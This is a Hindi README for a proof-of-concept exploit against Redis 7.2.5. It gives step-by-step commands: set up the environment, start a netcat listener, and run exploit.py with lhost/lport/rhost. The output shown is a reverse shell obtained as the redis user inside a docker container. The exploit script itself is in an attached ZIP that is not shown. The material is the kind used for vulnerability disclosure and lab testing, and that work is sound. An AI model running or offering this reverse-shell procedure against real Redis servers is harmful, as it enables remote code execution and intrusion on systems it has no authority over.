एक्सप्लॉइट चलाने के लिए कृपया संलग्न ZIP को निकालें और Linux पर इन चरणों का पालन करें:

एक virtualenv सेट करें/Redis क्लाइंट इंस्टॉल करें

$ python3 -m venv .venv
$ source .venv/bin/activate
$ pip install -r requirements.txt

दूसरे टर्मिनल में, Redis docker इमेज चलाएं
- या स्रोत से बनाएं और किसी समर्थित प्लेटफॉर्म पर चलाएं
  - एक्सप्लॉइट का परीक्षण किया गया है और यह Fedora 40/Ubuntu 24.04 पर काम करता है

$ docker run -p6379:6379 redis:7.2.5

Docker नेटवर्क पर अपने होस्ट का IP पता प्राप्त करें

$ ifconfig
 
docker0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        inet6 fe80::42:53ff:fecc:6e16  prefixlen 64  scopeid 0x20<link>
        ether 02:42:53:cc:6e:16  txqueuelen 0  (Ethernet)
        RX packets 69  bytes 4268 (4.1 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 133  bytes 269173 (262.8 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

दूसरे टर्मिनल में, एक netcat लिसनर चलाएं:

$ nc -nlvp 2222

एक्सप्लॉइट चलाएं:
- lhost को अपने docker नेटवर्क IP पते से बदलें

$ python3 exploit.py --lhost 172.17.0.1 --lport 2222 --rhost localhost

आपको एक कनेक्शन प्राप्त होना चाहिए

Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:2222
Ncat: Listening on 0.0.0.0:2222
Ncat: Connection from 172.17.0.2:36518.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
redis@4d1537f2dd4e:/data$

poc-redis

सबसे लोकप्रिय